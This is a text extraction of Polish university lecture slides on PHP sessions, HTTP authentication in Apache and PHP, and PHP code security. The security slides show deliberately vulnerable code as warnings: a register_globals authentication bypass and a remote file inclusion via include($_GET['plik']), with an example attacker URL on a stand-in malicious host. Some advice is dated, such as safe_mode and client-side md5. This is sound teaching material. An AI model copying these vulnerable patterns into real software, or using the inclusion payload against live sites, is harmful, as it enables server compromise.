kurs www – wykład 10
DESCRIPTION
Kurs WWW – wykład 10. Paweł Rajba [email protected] http://www.ii.uni.wroc.pl/~pawel/. PHP i sesje - wprowadzenie. Jak to działa? po co to? – stan aplikacji rola klienta i serwera identyfikator sesji (cookie lub zmienna GET). PHP i sesje - wprowadzenie. Utworzenie sesji - PowerPoint PPT PresentationTRANSCRIPT
![Page 2: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/2.jpg)
PHP i sesje - wprowadzenie
Jak to działa? po co to? – stan aplikacji rola klienta i serwera identyfikator sesji (cookie lub zmienna GET)
![Page 3: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/3.jpg)
PHP i sesje - wprowadzenie
Utworzenie sesji
Korzystanie z sesji
KLIENTKLIENT SERWERSERWER
Klient wysyła żądanie zasobu
Serwer odsyła identyfikatornowo utworzonej sesji
KLIENTKLIENT SERWERSERWER
Klient wysyła żądanie zasobudołączając identyfikator sesji
Na serwerzetworzona jestnowa sesja
Na serwerzeodtwarzane
są dane sesji
![Page 4: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/4.jpg)
PHP i sesje – zestaw funkcji
string session_name ([string nazwa]) pobierz i/lub ustaw nazwę dla sesji wywołujemy przed session_start() używana w identyfikatorze sesji (ciastka lub
URL, domyślnie PHPSESSID) jeśli chcemy zmienić nazwę, to musimy ją
wywoływać na każdej stronie – w przeciwnym razie od razu przywracana jest wartość z session.name
![Page 5: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/5.jpg)
PHP i sesje – zestaw funkcji
string session_id ([string id]) pobierz i/lub ustaw identyfikator sesji jeżeli zmienić identyfikator bieżącej sesji, to
musimy wywołać funkcję przed session_start() bool session_start(void)
tworzy (lub odtwarza) sesję w oparciu o identyfikator sesji przekazywany przez COOKIE lub parametr w URL.
jeżeli używamy sesji opartych o cookies, to session_start() musi być wywołane przed wysłaniem czegokolwiek do przeglądarki
![Page 6: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/6.jpg)
PHP i sesje – zestaw funkcji
void session_write_close(void) zapisuje dane i kończy sesję
void session_commit(void) alias do session_write_close()
bool session_destroy(void) niszczy sesję, nie usuwa ciasteczka prosty sposób usunięcia ciastka sesyjnego:
setcookie(session_name(),"",0,"/")
![Page 7: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/7.jpg)
PHP i sesje – przykład
licznik.php
![Page 8: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/8.jpg)
PHP i sesje – zestaw funkcji
string session_save_path([string ścieżka]) pobierz i/lub ustaw ścieżkę zapisu bieżącej
sesji w Foxserv domyślnie:
C:\FoxServ\sessiondata bool session_regenerate_id(void)
tworzy nowy identyfikator dla sesji (dostępne od PHP 4.3.2)
![Page 9: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/9.jpg)
PHP i sesje – zestaw funkcji
string session_encode(void ) koduje dane sesji do postaci stringu
bool session_decode(string dane) odtwarza dane sesji ze stringu najpierw trzeba użyć session_start
void session_set_cookie_params(
int czas_życia
[, string ścieżka
[, string domena]]) ustawia parametry ciastka sesji
![Page 10: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/10.jpg)
PHP i sesje – zestaw funkcji
array session_get_cookie_params(void) zwraca parametry ciasteczka sesji
lifetime – czas życia sesji path – ścieżka dla sesji domain – domena ciasteczka secure – ciasteczko może być przesyłane tylko
poprzez biezpieczne połączenie
![Page 11: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/11.jpg)
PHP i sesje – zmienne (cz. 1)
bool session_register(mixed nazwa
[, mixed ...]) rejestruje zmienną globalną jako zmienną sesji$dilbert = "Fajny komiks";
session_register("dilbert");
bool session_unregister(string nazwa) wyjestruj zmienną z bieżącej sesji
![Page 12: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/12.jpg)
PHP i sesje – zmienne (cz. 1)
void session_unset(void) zwalnia wszystkie zmienne sesji
bool session_is_registered(string nazwa) sprawdza, czy zmienna jest zarejestrowana
![Page 13: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/13.jpg)
PHP i sesje – zmienne (cz. 2)
Używamy tablicy $_SESSION[ ] (w starszych wersjach $HTTP_SESSION_VARS[ ]) ustanowienie zmiennej sesyjnej
$_SESSION["zmienna"] = "a to jej wartosc" usunięcie zmiennej sesyjnej
unset($_SESSION["zmienna"]) usunięcie wszystkich zmiennych
$_SESSION = array() sprawdzenie, czy zmienna istnieje
isset($_SESSION["zmienna"])
![Page 14: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/14.jpg)
PHP i sesje - przykłady
Niszczenie sesji (pierwszy sposób)
<?php
// Jeśli używasz sesion_name("cośtam"),
// nie zapomnij o tym teraz!
session_start();
session_unset();
session_destroy();
?>
![Page 15: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/15.jpg)
PHP i sesje - przykłady
Niszczenie sesji (drugi sposób)
<?php
// Jeśli używasz sesion_name("cośtam"),
// nie zapomnij o tym teraz!
session_start();
$_SESSION = array();
session_destroy();
?>
![Page 16: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/16.jpg)
PHP i sesje
Propagowanie identyfikatora w URLu kiedy stosować? stała SID opcja --enable-trans-sid opcja --enable-trans-sid, a wydajność –
różnica ok. 10% Zapisywanie danych sesji w bazie danych
do czego może się to przydać? (personalizacja) funkcje session_encode() i session_decode()
![Page 17: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/17.jpg)
PHP i sesje – opcje
session.save_path określa, gdzie będą tworzone pliki z danymi
sesji domyślnie: C:\FoxServ\sessiondata
session.name określa nazwę sesji, która będzie też nazwą
ciastka domyślnie PHPSESSID
![Page 18: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/18.jpg)
PHP i sesje – opcje
session.auto_start określa, czy sesja ma być uruchamiana
automatycznie na początku wywołania domyślnie 0 (wyłączone)
session.cookie_lifetime określa w sekundach długość życia ciastka
sesyjnego 0 oznacza "dopóki przeglądarka nie została
zamknięta" domyślnie 0
![Page 19: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/19.jpg)
PHP i sesje – opcje
session.use_cookies określa, czy identyfikator sesji będzie po
stronie klienta pamiętany za pomocą ciastka domyślnie 1 (włączone)
session.use_only_cookies określa, czy do pomiętania id sesji mają być
wykorzystywane tylko ciastka domyślnie 0 (ze względu na kompatybilność) zwiększa bezpieczeństwo
![Page 20: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/20.jpg)
Kontrola dostępu do danych
Terminologia Authentication – identyfikacja Authorization – czy jest dostęp do zasobu Access Control – sterowanie dostępem do
zasobu (może zależeć od innych czynników)
![Page 21: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/21.jpg)
Autoryzacja HTTP
Rodzaje Basic Digest
Główna zaleta Digest – hasło nie jest przesyłane jawnym tekstem
![Page 22: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/22.jpg)
Autoryzacja HTTP w Apache'u
Najpierw sprawdzamy, czy apache jest skompilowany z modułem mod_auth.c
apache.exe -l
httpd -l Upewniamy się, że pliku httpd.conf jest wpis
AllowOverride All Teraz, możemy utworzyć plik .htaccess w
każdym katalogu w którym chcemy sterować prawami dostepu
![Page 23: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/23.jpg)
Autoryzacja HTTP w Apache'u
Przykładowa zawartość pliku .htaccess<Files tajne.php supertajne.php>
AuthType Basic
AuthUserFile /usr/local/apache/users
AuthName "Administration Module"
Require valid-user // pawel zenek
Order allow,deny
Allow from swiatowit.ii.uni.wroc.pl
Deny from all
Satisfy any // all
</Files>
Pominięcie znacznika Files sprawi, że chroniona będzie cała zawartość katalogu
![Page 24: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/24.jpg)
Autoryzacja HTTP w Apache'u
Na końcu tworzymy użytkownika
htpasswd -c users pawel
htpasswd users john istotne, żeby pliku z użytkownikami nie
trzymać w miejscu dostępnym z przeglądarki
![Page 25: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/25.jpg)
Autoryzacja HTTP w Apache'u
Podsumowanie wystarcza przy mało wymagającej autoryzacji ograniczenia przy zarządzaniu użytkownikami interfejs przeglądarki wylogowanie poprzez wyłączenie przeglądarki konieczność ingerencji w konfigurację serwera
![Page 26: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/26.jpg)
Autoryzacja HTTP w PHP
Kilka uwag na początek: obsługiwana tylko wtedy, gdy PHP działa jako
moduł Apache (jako CGI – nie działa) obecnie obsługiwana jest tylko autoryzacja
typu Basic po wysłaniu nagłówków, użytkownik wpisuje
dane użytkownika i hasło, które są przekazywane w zmiennych
$_SERVER['PHP_AUTH_USER'] $_SERVER['PHP_AUTH_PW']
![Page 27: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/27.jpg)
Autoryzacja HTTP w PHP
Przykład: httpauth.php
![Page 28: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/28.jpg)
Autoryzacja – sesje w PHP
Etapy dostępu do danych Logowanie
pobranie danych użytkownika (login + hasło) weryfikacja odnotowanie faktu weryfikacji w logach rozpoczęcie sesji
![Page 29: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/29.jpg)
Autoryzacja – sesje w PHP
Etapy dostępu do danych Użycie sesji
podtrzymanie sesji ponowna weryfikacja uprawnień
Wylogowanie zakończenie sesji odnotowanie faktu w logach usunięcie danych związanych z sesją (ważne)
![Page 30: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/30.jpg)
Autoryzacja – sesje w PHP
Przykład: login.php i pokaz.php
![Page 31: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/31.jpg)
Autoryzacja – sesje w PHP
Sprawdzanie hasła: jak w przykładzie na podstawie pliku tekstowego na podstawie bazy danych
W miarę możliwości nigdzie nie trzymamy haseł w postaci jawnej
![Page 32: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/32.jpg)
Autoryzacja – sesje w PHP
Zalety przechowywania haseł w pliku dobre dla obsługi kilku użytkowników łatwa obsługa nie wymagają dodatkowego oprogramowania
Zalety przechowywania haseł w bazie danych możliwość obsługi bardzo wielu użytkowników szybszy dostęp lepsze zarządzanie zawartością większe bezpieczeństwo
![Page 33: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/33.jpg)
Autoryzacja – sesje w PHP
Przesyłanie hasła jawny tekst szyfrogram md5 (obliczany po stronie klienta)
![Page 34: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/34.jpg)
Bezpieczeństwo kodu PHP
Opcja register_globals w php.ini jej włączenie powoduje, że wszystkie dane
pochodzące od użytkownika są dostępne z poziomu zmiennej (POST, GET, COOKIE, ...)
powinna być wyłączona (Off) i tak jest domyślnie
Przykład (login.php):<?phpif ($password == "as3jksj4w") $auth=true;if ($auth) uruchom_tajne_procedury();?>
![Page 35: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/35.jpg)
Bezpieczeństwo kodu PHP
A teraz uruchamiamy skrypt
login.php?auth=true Przykład: (login.php ulepszony)<?php
$auth=false;
if ($password == "as3jksj4w") $auth=true;
if ($auth) uruchom_tajne_procedury();
?>
![Page 36: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/36.jpg)
Bezpieczeństwo kodu PHP
Raportowanie błędów – error_reporting() podczas pisania skryptów, testowania należy
włączyć raportowanie
error_reporting(E_ALL) przy wdrażaniu aplikacji należy wszystkie
raportowania bezwzględnie powyłączać
error_reporting(0)
![Page 37: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/37.jpg)
Bezpieczeństwo kodu PHP
Weryfikacja danych pochodzących od użytkownika sprawdzić należy wszystkie dane w
szczególności pod kątem typ danych zawartość długość
akceptujemy te tylko dane, których się spodziewaliśmy
nigdy nie polegamy na weryfikacji po stronie klienta
![Page 38: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/38.jpg)
Bezpieczeństwo kodu PHP
W jaki sposób weryfikować? sprawdzić typy skorzystać z wyrażeń regularnych sprawdzić wielkość sprawdzić zbiór dopuszczalnych wartości ...
![Page 39: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/39.jpg)
Bezpieczeństwo kodu PHP
Przykład:<?php
if (isset($_GET["plik"])) include($_GET["plik"]);
?>
i agresor robi tak:skrypt.php?plik=http://agresor.pl/zlosliwy.php
![Page 40: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/40.jpg)
Bezpieczeństwo kodu PHP
Wszystkie pliki PHP powinny być przez serwer parsowane jeżeli dajemy rozszerzenie .inc, to musimy się
upewnić, że pliki z tym rozszerzeniem są interpretowane
Nie należy dawać możliwości oglądnięcia wyniku działania funkcji phpinfo()
![Page 41: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/41.jpg)
Bezpieczeństwo kodu PHP
Upload plików należy upewniać się, że upload pliku
faktycznie miał miejsce – służą do tego funkcje
is_uploaded_file() move_uploaded_file()
![Page 42: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/42.jpg)
Bezpieczeństwo kodu PHP
Tryb bezpieczny (safe_mode) jeśli możliwe, należy z tego korzystać, chociaż
lepiej dobrze skonfigurować serwer WWW skrypt ma dostęp tylko to tych plików których
właścicielem jest właściciel skryptu
![Page 43: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/43.jpg)
Bezpieczeństwo kodu PHP
Dyrektywy odpowiedzialne za tryb bezpieczny safe_mode = Off safe_mode_gid = 0 safe_mode_include_dir = safe_mode_exec_dir = open_basedir = safe_mode_allowed_env_vars = PHP_ safe_mode_protected_env_vars =
LD_LIBRARY_PATH disable_functions =
![Page 44: Kurs WWW – wykład 10](https://reader030.vdocuments.net/reader030/viewer/2022032414/56813391550346895d9a9d8f/html5/thumbnails/44.jpg)
Bezpieczeństwo kodu PHP
Ukrywanie rozszerzeń dodajemy w pliku httpd.conf
(ewentualnie .htaccess)
AddType application/x-httpd-php .htm .html Ukrywanie hasła do bazy danych (plik httpd.conf)<Directory "C:\Foxserv\www\test">php_admin_value open_basedir C:\Foxserv\www\testphp_admin_value disable_functions a3js8ge4a2</Directory><?phpecho ini_get("disabled_functions"); ?>